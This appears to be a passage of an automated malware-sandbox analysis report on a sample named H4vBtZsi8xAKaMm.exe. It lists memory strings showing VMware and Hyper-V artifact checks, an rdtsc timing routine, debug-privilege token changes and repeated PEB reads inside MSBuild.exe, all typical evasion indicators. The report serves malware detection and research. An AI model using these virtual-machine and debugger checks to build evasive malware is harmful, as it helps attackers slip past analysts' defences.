Source: explorer.exe, 0000001E.00000003.589975864.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: explorer.exe, 0000001E.00000003.564612786.000000000AB41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:W
Source: explorer.exe, 0000001E.00000003.589975864.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bd
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 0000001E.00000003.543609262.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000@v
Source: explorer.exe, 0000000F.00000000.379750748.0000000000F73000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATAL
Source: explorer.exe, 0000001E.00000003.563562422.000000000D815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&280b647&
Source: explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.589975864.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BZl+M
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 0000001E.00000000.489397348.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000002.612089074.000000000D80B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}QQ}h
Source: explorer.exe, 0000001E.00000003.592811161.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B>o
Source: explorer.exe, 0000000F.00000000.386228381.0000000008B4E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 0000000F.00000000.386085770.0000000008ACF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 0000001E.00000003.567907070.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD001.00}E\Mn
Source: explorer.exe, 0000001E.00000003.564035684.000000000D827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 0000001E.00000003.559151451.000000000A910000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000P
Source: explorer.exe, 0000000F.00000000.383239790.00000000069DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD002
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~
Source: explorer.exe, 0000001E.00000003.546996408.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000uN%\
Source: explorer.exe, 0000001E.00000003.548258493.000000000A9FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 0000001E.00000000.475945374.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000\

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_00409AA0 rdtsc

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F390AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F73884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F73884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F10050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F10050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F77016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F841E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F261A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F261A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FAB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FAB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F84257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F13A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F08A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FAD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F01B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F01B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F23B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F23B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFDB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFDB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFF358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F1746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F8C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F76C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FA8DF1 mov eax, dword ptr fs:[00000030h]
